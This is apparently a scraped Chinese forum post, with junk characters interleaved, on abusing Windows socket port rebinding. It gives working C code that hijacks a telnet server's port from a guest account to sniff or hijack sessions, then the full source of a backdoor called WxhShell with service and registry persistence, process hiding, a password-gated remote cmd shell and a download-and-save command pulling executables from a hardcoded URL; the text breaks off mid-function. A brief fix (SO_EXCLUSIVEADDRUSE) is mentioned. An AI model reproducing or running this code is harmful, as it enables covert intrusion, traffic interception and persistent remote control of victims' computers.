在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\@:pWe s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Cc1sZWvz `Btdp:j8i saddr.sin_family = AF_INET;
{o*z iZh sYYg5vL9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
vpMNulXb, yaa+j8s] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
|U8;25Y w-HgC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
{MO`0n;
rt [f:>tRdH 这意味着什么?意味着可以进行如下的攻击:
qF%wl 3Nsb@0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
a`~$6
"v ~g;(`g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
svU107? )tz8(S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Y~,[9:SR XqyfeY5t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
VCX})sp 0d9rJv}~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
\@*cj8e RIC'JLWQ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&dbX>u q 6(ju!pE` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/7h}_zs6 n'ZlIh #include
c5mv4 MC #include
(=)+as"u9* #include
`Rm2G #include
P=KOw;bs DWORD WINAPI ClientThread(LPVOID lpParam);
n?YGXW/ int main()
3 ^{U:"N0 {
4<ER
dP7"- WORD wVersionRequested;
R D=!No? DWORD ret;
8:huWjh]M WSADATA wsaData;
sog?Mvoq BOOL val;
#v89`$#`2 SOCKADDR_IN saddr;
S;Lqx5Cd SOCKADDR_IN scaddr;
fdck/|`t int err;
xPq3Sfg`A SOCKET s;
''?.6r SOCKET sc;
~N>[7I"* int caddsize;
3-hu'xSU HANDLE mt;
G"O%u|7 DWORD tid;
$QNfy.6Tn wVersionRequested = MAKEWORD( 2, 2 );
.^,fw=T|1 err = WSAStartup( wVersionRequested, &wsaData );
6$%]p1"!K if ( err != 0 ) {
jQ%}e" printf("error!WSAStartup failed!\n");
!r.X. C return -1;
cd)<t8^KE }
(xG#D;M0 saddr.sin_family = AF_INET;
w^A8ZT0^7 |jEKUTv,G //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
P2 !~}{- F2z^7n.S saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Mff_j0D saddr.sin_port = htons(23);
E@0wt^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
E{wVf_K {
U11rj,7 printf("error!socket failed!\n");
fR_)e: return -1;
0 m";=:(w }
j<"0ym)A val = TRUE;
FGy7KVR //SO_REUSEADDR选项就是可以实现端口重绑定的
AWh{dM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
8{4I6;e- {
xZGR<+t printf("error!setsockopt failed!\n");
6X7r=w return -1;
}{bO~L7 }
PcM:0(,G //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>^+Q`"SN //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
o:f=dBmoX //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
7M3q|7? v srce if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
o!sxfJKl {
*q|.H9
K( ret=GetLastError();
O4]Ss}ol printf("error!bind failed!\n");
AH`tkPd return -1;
>J.a,! }
9oKRu6]D- listen(s,2);
h+R}O9BD while(1)
A>R ^iu {
L L9I:^ caddsize = sizeof(scaddr);
]9R?2{"K //接受连接请求
nFw&vR/q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@#*B|lHE if(sc!=INVALID_SOCKET)
}{=%j~V;& {
x03G Jy5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@U}fvdft if(mt==NULL)
I".d>]16| {
hCQ{D|/ printf("Thread Creat Failed!\n");
%do|>7MO@ break;
-S)HB$8 }
{D1=TTr^ }
/bt@HFL|` CloseHandle(mt);
q^(A6W }
Kqhj=B closesocket(s);
TD!QqLW WSACleanup();
T{?!sB3 return 0;
#/\FB'zC }
luat1#~J DWORD WINAPI ClientThread(LPVOID lpParam)
_Xsn1 {
mEyZ<U9 SOCKET ss = (SOCKET)lpParam;
bL
swq SOCKET sc;
8$?a?7,>| unsigned char buf[4096];
u^!-Z)W SOCKADDR_IN saddr;
WiPMvl8 long num;
]7h&ZF DWORD val;
+es.V
/ DWORD ret;
1ub03$pL; //如果是隐藏端口应用的话,可以在此处加一些判断
+~w '?vNc //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Q?W]g%:) saddr.sin_family = AF_INET;
={#r/x saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ApU5,R0 saddr.sin_port = htons(23);
h %MPppCEa if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?>4^e: {
.$99/2[90 printf("error!socket failed!\n");
uh: return -1;
|{t}ULc }
%ze Sx val = 100;
%z.u
% % if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JGGss5 {
(8=Zr0He ret = GetLastError();
;<ed1%Le, return -1;
oVc_(NH- }
L.+5`& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K
V 4>( {
Xps MgJ/w ret = GetLastError();
Ji%T|KR_ return -1;
&qrH }
~q-|cl< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
W9a H]9b {
&W".fRH_O printf("error!socket connect failed!\n");
TO3Yz3+A closesocket(sc);
Er~5\9,/<] closesocket(ss);
c @2s!bs return -1;
D{a{$Pr }
33"{"2==` while(1)
i&"I/!3Q@ {
-!wm]kx
f //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
0o`0Td //如果是嗅探内容的话,可以再此处进行内容分析和记录
TtkB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
E$smr\ num = recv(ss,buf,4096,0);
Oyj!N`&z@ if(num>0)
2\EMtR>.M' send(sc,buf,num,0);
|iO2,99i else if(num==0)
8M(N break;
0~an\4nh num = recv(sc,buf,4096,0);
gt}/C4| if(num>0)
)Bd+jli|s send(ss,buf,num,0);
QJOP *<O else if(num==0)
"F)7!e break;
TxPP{6t }
(W*yF2r closesocket(ss);
o7]h;Zg5r closesocket(sc);
w;>]L.n return 0 ;
Dve5Ml- }
#t3ju^ |? f8'&(- B6$s*SXNp ==========================================================
]yCmGt+b pS0-<-\R 下边附上一个代码,,WXhSHELL
b>I -4 GW.s\8w ==========================================================
r(i<H%"Z :^J(%zy #include "stdafx.h"
fwXk{P/ `~pB1sS{ #include <stdio.h>
1*;?uC\ #include <string.h>
^N0hc!$ #include <windows.h>
WpSdukXY{ #include <winsock2.h>
ZaXK=%z #include <winsvc.h>
=2->1<!x6< #include <urlmon.h>
D[;6xJ iK=H9j #pragma comment (lib, "Ws2_32.lib")
o(|`atvK #pragma comment (lib, "urlmon.lib")
3vVhE,1N F
N(&3Ull #define MAX_USER 100 // 最大客户端连接数
,ulTZV #define BUF_SOCK 200 // sock buffer
X o{Ce%L #define KEY_BUFF 255 // 输入 buffer
q'q'v
S *A
c~ #define REBOOT 0 // 重启
nSgg'I( #define SHUTDOWN 1 // 关机
Y:*mAv;& 9OXrz}8C #define DEF_PORT 5000 // 监听端口
shnfH OuS{ve #define REG_LEN 16 // 注册表键长度
IExQ}I #define SVC_LEN 80 // NT服务名长度
l|j&w[c[Q0 D
zl#[|q // 从dll定义API
7d'4"c;*; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
X3X~`~bAD typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
V,|9$A; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
9I30ULm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
?#slg8[ jVk|( // wxhshell配置信息
^x:4%%Q]l struct WSCFG {
B]Yj"LM) int ws_port; // 监听端口
>:Q:+R;3o char ws_passstr[REG_LEN]; // 口令
s( 2=E| int ws_autoins; // 安装标记, 1=yes 0=no
|~v($ c char ws_regname[REG_LEN]; // 注册表键名
j!:U*}f char ws_svcname[REG_LEN]; // 服务名
] p'+F char ws_svcdisp[SVC_LEN]; // 服务显示名
M}/%t1^g: char ws_svcdesc[SVC_LEN]; // 服务描述信息
cGOE $nL char ws_passmsg[SVC_LEN]; // 密码输入提示信息
<Hm:#<\ int ws_downexe; // 下载执行标记, 1=yes 0=no
jwAO{.}T1r char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
gh i!4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
B:+}^= }u:^ Mz };
dpE\eXoa, {&w%3 // default Wxhshell configuration
}wj*^>* struct WSCFG wscfg={DEF_PORT,
"Z}0 A/y "xuhuanlingzhe",
#; }IHAR 1,
V/>SjUNq "Wxhshell",
v`x~O+ "Wxhshell",
^/Gjk "WxhShell Service",
Mk,8v],-Tj "Wrsky Windows CmdShell Service",
kDO6:sjR7 "Please Input Your Password: ",
fbo64$!hZ 1,
`acorfpi "
http://www.wrsky.com/wxhshell.exe",
3]xnKb|W "Wxhshell.exe"
+=u*!6S };
eQ9{J9)? br$!}7#=L // 消息定义模块
EkWe6m char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~LYKt0/W& char *msg_ws_prompt="\n\r? for help\n\r#>";
|(XV '-~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
fa5($jJ& char *msg_ws_ext="\n\rExit.";
hO{@!H$l char *msg_ws_end="\n\rQuit.";
)@SIFE char *msg_ws_boot="\n\rReboot...";
alHwN^GhP char *msg_ws_poff="\n\rShutdown...";
jnH44 char *msg_ws_down="\n\rSave to ";
h/-7;Csv kFD- char *msg_ws_err="\n\rErr!";
\EB]J\x< char *msg_ws_ok="\n\rOK!";
fp12-Hk ~ uVOpg]8d char ExeFile[MAX_PATH];
~R!(%j ] int nUser = 0;
] ^ HANDLE handles[MAX_USER];
!4.;Ftgjn int OsIsNt;
9n8;eE08 3%|<U51 SERVICE_STATUS serviceStatus;
}1;Ie0l=_e SERVICE_STATUS_HANDLE hServiceStatusHandle;
ua7I K~8l '[\%P2c)Q // 函数声明
mpr["C"l int Install(void);
:GL|: int Uninstall(void);
36Wuc@<H int DownloadFile(char *sURL, SOCKET wsh);
F)DL/'; int Boot(int flag);
H@aCo(# void HideProc(void);
&\!-d%||) int GetOsVer(void);
B*DH^";t int Wxhshell(SOCKET wsl);
{6/%w,{, void TalkWithClient(void *cs);
/xsa-F int CmdShell(SOCKET sock);
#docBsHX&s int StartFromService(void);
Dq2eX;c@ int StartWxhshell(LPSTR lpCmdLine);
1Rp|*> 6LvUi|~"< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
y=
VOID WINAPI NTServiceHandler( DWORD fdwControl );
&Lq @af# O]{H2&k@ // 数据结构和表定义
X8;03EW; SERVICE_TABLE_ENTRY DispatchTable[] =
BKvF,f/g {
wJ IJPYTK {wscfg.ws_svcname, NTServiceMain},
~xvQ?c?- {NULL, NULL}
fCEd
:Kr };
_}JygOew rRC3^X`u // 自我安装
X]y 3~|K int Install(void)
\dufKeiS&a {
tQ2*kE char svExeFile[MAX_PATH];
8oA6'%.e HKEY key;
WNL3+ strcpy(svExeFile,ExeFile);
}[i35f[w y)(SS8JR // 如果是win9x系统,修改注册表设为自启动
A 9tQb: if(!OsIsNt) {
\N"K^kR4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
rt~X(S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pF"z)E|^ RegCloseKey(key);
by8d18:it if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xYwbbFGrG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y6{p|F?&" RegCloseKey(key);
jh8%Xu]t return 0;
Eda
sGCo }
Saz+GQ G }
#3/l4`/j }
gVq{g,yi else {
L{gFk{@W >u4uV8S // 如果是NT以上系统,安装为系统服务
`L9o!OsQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
2ix_,yTO if (schSCManager!=0)
Yq5}r?N {
sV[|op SC_HANDLE schService = CreateService
1N#TL"lMS (
d5zzQ]|L schSCManager,
w_|WberU wscfg.ws_svcname,
iZ_R
oJ wscfg.ws_svcdisp,
V?Nl% M[b SERVICE_ALL_ACCESS,
@d4zSG/s5w SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
a o7|8[ SERVICE_AUTO_START,
QAb[M\G SERVICE_ERROR_NORMAL,
{nHy!{+qqG svExeFile,
);Gt!]p`; NULL,
KJpM?: NULL,
wlKL|N NULL,
.!9]I'9M NULL,
53(m9YLk NULL
w;#9 hW& );
\LM'KD pP_ if (schService!=0)
4>5%SzZT\3 {
-,5g cD CloseServiceHandle(schService);
K5w22L^=+ CloseServiceHandle(schSCManager);
%LVk%kz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
v3]q2*`G# strcat(svExeFile,wscfg.ws_svcname);
E176O[(V= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
d3n TJ X RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
xX"?3%y> RegCloseKey(key);
Tmw
:w~ return 0;
.s2d }
^5;Y }
u\t ; CloseServiceHandle(schSCManager);
C($`'~b }
wbr"z7} }
.3HC*E.e PfuYT_p4s return 1;
0tsll1 }
W}.4$f> _fa]2I // 自我卸载
Y%&6qt G int Uninstall(void)
'0o`<xW {
S2<(n," HKEY key;
z1V 0WDVm BB|{VwN if(!OsIsNt) {
".w*_1G7U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*`l>1)B> RegDeleteValue(key,wscfg.ws_regname);
&Vonu* RegCloseKey(key);
{b#c0>.8- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8^4X/n RegDeleteValue(key,wscfg.ws_regname);
::M/s#-@ RegCloseKey(key);
zBjqYqZ<+ return 0;
o[cKh7&+ }
-rH3rKtf~ }
p>!r[v' }
a.]
! else {
Z;n}*^U O-&n5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
pP".?|n if (schSCManager!=0)
`*N0 Lbl] {
m,.d< ** SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
'2.F-~ if (schService!=0)
@Qx;J<{+g {
cF/FretoO if(DeleteService(schService)!=0) {
^|sQkufo CloseServiceHandle(schService);
'Y&yt"cs CloseServiceHandle(schSCManager);
OI`Lb\8pP return 0;
@9c^{x\4 }
Ok* :;G@ CloseServiceHandle(schService);
L g%cVSz/C }
e=F'
O]
5 CloseServiceHandle(schSCManager);
v4ueFEY }
' bT9AV% }
GN~:rdd -)$)<k return 1;
{fGi:b\[ 8 }
_6(zG.Fg {+r?g J // 从指定url下载文件
f0^s*V+ int DownloadFile(char *sURL, SOCKET wsh)
c}{e,t {
5T;_k'qe HRESULT hr;
T+~~w'v0 char seps[]= "/";
0[hl&7 Ab@ char *token;
S`*al<m char *file;
9(@bjL465 char myURL[MAX_PATH];
5Y,e}+I> char myFILE[MAX_PATH];
F]ALZxwkz wvc?2~` strcpy(myURL,sURL);
r^\^*FD | token=strtok(myURL,seps);
Q 5jP`<zWU while(token!=NULL)
Z]Qm64^I {
_zpn+XVdQ file=token;
IC{>q3 token=strtok(NULL,seps);
I|`K;a
}
Kt^PL&A2 M!I:$DZt GetCurrentDirectory(MAX_PATH,myFILE);
->j9(76 " strcat(myFILE, "\\");
x[>A'.m@) strcat(myFILE, file);
eEU: send(wsh,myFILE,strlen(myFILE),0);
Aa1 |{^$:L send(wsh,"...",3,0);
x/4lD}Pw] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!c*^:0 if(hr==S_OK)
T}\U:@b return 0;
&O%Kj8)
else
;bA9(:? return 1;
I{RktO;1 W"2\vo) }
),~Ca'TU z.jGVF4 // 系统电源模块
MT V'!Zxs int Boot(int flag)
TIvLY5 HG {
6}|vfw HANDLE hToken;
jV7q)\uu^ TOKEN_PRIVILEGES tkp;
Np=*B_ @8 U5"F1CaW~ if(OsIsNt) {
@lmk e> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
nTHP~] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
NuP@eeF>, tkp.PrivilegeCount = 1;
y'+^
ME$H tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
jf%Ydr}` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
k5ZwGJ#r if(flag==REBOOT) {
3^fZUldf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!~mN"+u& return 0;
F`ihw[
Wn }
k?";$C}# else {
|C(72t?K if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_ WSJg1 return 0;
X0U6: }
lLg23k{' }
yV]-![`D else {
2.NzB7c*CM if(flag==REBOOT) {
r@!~l1$s` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
a
v`eA`)S return 0;
Z>D7C?v:( }
bh_ALu^CSX else {
.Ftml' ! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
A] F K\ return 0;
SOUA,4 }
=-:o?&64 }
E@@quK R4v=i)A~Z return 1;
C2b.([HE }
'@W72ML. U}5uy9A // win9x进程隐藏模块
JZ c5U}i void HideProc(void)
("TI~ {
wWm#[f],? /qp`xJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
gVD!.
if ( hKernel != NULL )
.:;i* {
m.$Oo
Mu' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
q&N&n%rbm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
h?R-t*G? FreeLibrary(hKernel);
O-G@To3\ }
iA < EJ eR}d"F4W return;
d6L(Q(:s }
Jrffb=+b dB/Epc& // 获取操作系统版本
wJgM.V"yb int GetOsVer(void)
"90}H0(+ {
:N[2*.c[ OSVERSIONINFO winfo;
.O,gl$y} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
hrW.TwK GetVersionEx(&winfo);
s9'iHe if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
/|\`NARI return 1;
=]^*-f}J9 else
svQDSif return 0;
"Fke(?X' }
xL!05du
HN3
yA1<[V // 客户端句柄模块
JRNyvG>j int Wxhshell(SOCKET wsl)
0\mM^+fO {
<iMkHch SOCKET wsh;
{<_}[} XY struct sockaddr_in client;
)Q\;N C=4 DWORD myID;
rLVAI#ci= 0p#36 czqy while(nUser<MAX_USER)
Lr+2L_/v` {
7f(UbO@BD int nSize=sizeof(client);
QvqBT wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~+d]yeDrhx if(wsh==INVALID_SOCKET) return 1;
l p? h~ I,#U
_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\"lzmxe0p if(handles[nUser]==0)
` n_ Z closesocket(wsh);
7.=u:PK7kM else
F6 UOo.L)I nUser++;
C
:e 'wmA }
^ ]B&7\w"t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"W1 q}4_ =DqGm]tA return 0;
%d=-<EQ|& }
`P GWu1/ O a7W&wi // 关闭 socket
g%+nMjif void CloseIt(SOCKET wsh)
Qr0GxGWU {
qD9B[s8 closesocket(wsh);
PC3wzJ\\S nUser--;
#AY+[+ ExitThread(0);
q| j;dI& }
@!F9}n
AP 7N""w5 // 客户端请求句柄
NeWssSje void TalkWithClient(void *cs)
q=EQDHmh {
/bw-* S-L6KA{ SOCKET wsh=(SOCKET)cs;
hQkmB|];5 char pwd[SVC_LEN];
";zl6g" char cmd[KEY_BUFF];
2/bck)p= char chr[1];
(_W[~df4 int i,j;
q5`Gl |6uEf/*DX while (nUser < MAX_USER) {
CZ0 {*K: > Euput\ if(wscfg.ws_passstr) {
qNvKlwR9;k if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R8?A%yxf //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R
vY`9D //ZeroMemory(pwd,KEY_BUFF);
q2SkkY$_]y i=0;
~ugcfDJ while(i<SVC_LEN) {
co12\,aD 69L s"e // 设置超时
QKF2_Acc fd_set FdRead;
CBvBBt* struct timeval TimeOut;
LyQO_mT2 FD_ZERO(&FdRead);
rDSt
~l FD_SET(wsh,&FdRead);
0xjV*0?s TimeOut.tv_sec=8;
2R_k$kHl TimeOut.tv_usec=0;
z=u4&x|xA int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M0]fh5O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
11)~!in ht =yzJ9Pr if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
=6 [!'K pwd
=chr[0]; )XNcy"
if(chr[0]==0xd || chr[0]==0xa) { x^;nfqn|
pwd=0; q&wMp{
break; 5jV]{ZV#
} WAQv4&xGM
i++; 7eq;dNB@gq
} . XY'l
$)uQ%/DH>
// 如果是非法用户,关闭 socket }^ iE|YKz
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B
51LZP
} &v`kyc
: Z.mM5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L Y M`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .K0BK)axO
ZuE0'9
while(1) { 2ru6bIb;
Ex Qld
ZeroMemory(cmd,KEY_BUFF); c.XLEjV|
@e slF
// 自动支持客户端 telnet标准 ^8\pJg_0
j=0; G(4k#jB
while(j<KEY_BUFF) { $M><K
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vuK 5DG4
cmd[j]=chr[0]; =GpLlJ`-
if(chr[0]==0xa || chr[0]==0xd) { j^k{~]+_^]
cmd[j]=0; v|e\o~2D`
break; _l Jj 6=
} WRnUF[y+)
j++; BE U[M
} 1"k
+K~:
0r@rXwz
// 下载文件 G
cbal:q
if(strstr(cmd,"http://")) { Zaj<*?\
send(wsh,msg_ws_down,strlen(msg_ws_down),0); d*G$qUiX
if(DownloadFile(cmd,wsh)) *R:nB)(6<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5|/vc*m_0'
else m1cyCD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nQgn^z#
} D +oo5
else { EuAa
g5?Fo%W
switch(cmd[0]) { u|Ai<2b$
N
Lo>"<Xb
// 帮助 Z,2uN!6
case '?': { (thzWr6;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `?>OY&(
break; hIw*dob
} B U)4g[4
// 安装 HgMDw/D(
case 'i': { _6|b0*jv'&
if(Install()) Zw3|HV(so
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;xRyONt
else 9DT}sCLz:B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dzcPSbbpt
break; '3xSzsDn
} x^
Wgo`v)
// 卸载 ,p2
Di
case 'r': { duM>(y
if(Uninstall()) ,5/gNg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \gzNMI*
else IQ|~d08}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t]m#k%)
break; \0:l9;^4
} }{ P}P}
// 显示 wxhshell 所在路径 +uH1rF_&@
case 'p': { 4f1*?HX&
char svExeFile[MAX_PATH]; !nd*U}q
strcpy(svExeFile,"\n\r"); RS93_F8
strcat(svExeFile,ExeFile); 3sL#_@+yz
send(wsh,svExeFile,strlen(svExeFile),0); [~;9Mi.XL
break; U@*z#T#"m
} Ufk7%`
// 重启 *s/F4?*
case 'b': { d2(n3Xf
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2
o.Mh/D0
if(Boot(REBOOT)) KSexG:Xb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $`riB$v
else { ^yfT7050
closesocket(wsh); }X`K3sk2/z
ExitThread(0); .$r(":A#)
} ]__M*
break; rzex"}/ly
} |5W u0T
// 关机 5zUD W?
case 'd': { ;\H2U.
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -W oZwqh
if(Boot(SHUTDOWN)) #\"5:.H Oz
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
mjw:Z,
else { `fL$t0"
closesocket(wsh); Ms$kL'/
ExitThread(0); sQ_{zOUPh
} zi5;>Iv0}
break; mO\6B7V!
} Ltu;sw
// 获取shell -PX {W)Aw
case 's': { {:? -)Xq
CmdShell(wsh); =A,i9Z&
closesocket(wsh); _E1:3N|
ExitThread(0); .|rpj&>g
break; d6Z;\f7[
} ;Z8K3p
// 退出 o|UZdGu
case 'x': { Bkcs4 x
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8
/\rmf\
CloseIt(wsh); 3cs'Oz<w
break; *l5/q\D
} rSa3u*xB
// 离开 \ET7
case 'q': { OW6i2 >Or
send(wsh,msg_ws_end,strlen(msg_ws_end),0); bclA+!1
closesocket(wsh); z7GLpTa
WSACleanup(); DQE.;0ld
exit(1); -m-~
break; {5RM)J1
} -f'z_&KI
} H_jMl$f)j
} (llg!1
H*!E*_
// 提示信息 3vMfms
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `?La
} pV1~REk$&
} ;8ugI
QYg2'`(
return; x=9drKIw>
} B>JRta;hj
iptzVr#b[
// shell模块句柄 Bf8 #&]O
int CmdShell(SOCKET sock) a*o=,!
{ ;]'mx
STARTUPINFO si; }PoB`H'K5
ZeroMemory(&si,sizeof(si)); [t>}M6?R:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QV" |
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p6sXftk
PROCESS_INFORMATION ProcessInfo; k3u3X~u
char cmdline[]="cmd"; /9i2@#J}W1
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 38rC;
6
return 0; teET nz_L
} N 0`)WLW
2'N%KKmJL
// 自身启动模式 B1\}'g8%f
int StartFromService(void) Yz[^?M%(D
{ IY+P Yad
typedef struct +$P0&YaQ
{ n)[{nkS6[
DWORD ExitStatus; )f,iey\-
DWORD PebBaseAddress; yv&&x.!.Z
DWORD AffinityMask; Fd0R?d
DWORD BasePriority; O$KLQ '0"n
ULONG UniqueProcessId; kWF, *@.B
ULONG InheritedFromUniqueProcessId; J](AJkGzK
